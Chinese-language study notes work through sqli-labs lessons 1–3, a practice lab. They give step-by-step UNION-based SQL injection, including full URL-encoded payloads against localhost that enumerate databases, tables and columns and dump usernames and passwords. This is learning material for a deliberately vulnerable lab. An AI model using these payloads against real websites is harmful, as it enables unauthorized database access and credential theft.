schema:数据库中的Schema,为数据库对象的集合
database 数据库
table 表
column 列
schemata:为当前数据库中的每个架构返回一行
group_concat()一次性显示
information_schema 数据库是 MySQL 自带的信息数据库。用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。
sqli-labs less-1
**1.?id=1
2.?id=1’报错,发现注入点
3.添加注释,使其不报错
4.使用order by 进行查询长度,得出有3个字节
5.使用union select联合查询显示位,注意:最前面的数改为-1或者很大的值
6.database()查询当前数据库名
7. version()查询当前数据库版本
8.
(select group_concat(schema_name) from information_schema.schemata )
查看所有数据库名
9. (select group_concat(table_name) from information_schema.tables where table_schema=‘security’)查看security数据库中的所有表
10.(select group_concat(column_name) from information_schema.columns where table_name=‘users’)查看users表下的所有列
11.(select group_concat(username) from security.users)查看username列下的数据
(select group_concat(password) from security.users) 查看password列下的数据
**
sqli-labs less-2
1.根据提示得知参数为id
2.加入参数,页面回显正确
3.判断注入类型,首先进行单引号测试,发现加上注释后依然报错,说明此处不存在字符型注入
4.进行数值型注入判断,页面异常,说明此处存在数值型注入
5.order by查询字节,得出有3个字节
6.union select 查询注入点
7.查数据库名
http://localhost/sqli-labs/Less-2/?id=-1%20union%20select%201,(select%20group_concat(schema_name)from%20information_schema.schemata),3--+
8.查询表名
http://localhost/sqli-labs/Less-2/?id=-1%20union%20select%201,(select%20group_concat(table_name)from%20information_schema.tables%20where%20table_schema=%27security%27),3--+
9.查询列名
http://localhost/sqli-labs/Less-2/?id=-1%20union%20select%201,(select%20group_concat(column_name)from%20information_schema.columns%20where%20table_name=%27users%27),3--+
10.查询列中的数据
http://localhost/sqli-labs/Less-2/?id=-1%20union%20select%201,(select%20group_concat(password)from%20security.users),3--+
http://localhost/sqli-labs/Less-2/?id=-1%20union%20select%201,(select%20group_concat(username)from%20security.users),3--+
sqli-labs less-3
1.判断注入类型为字符型注入。闭合形式为’)
(听说是根据源码判断出来的)
其余步骤请参考前两关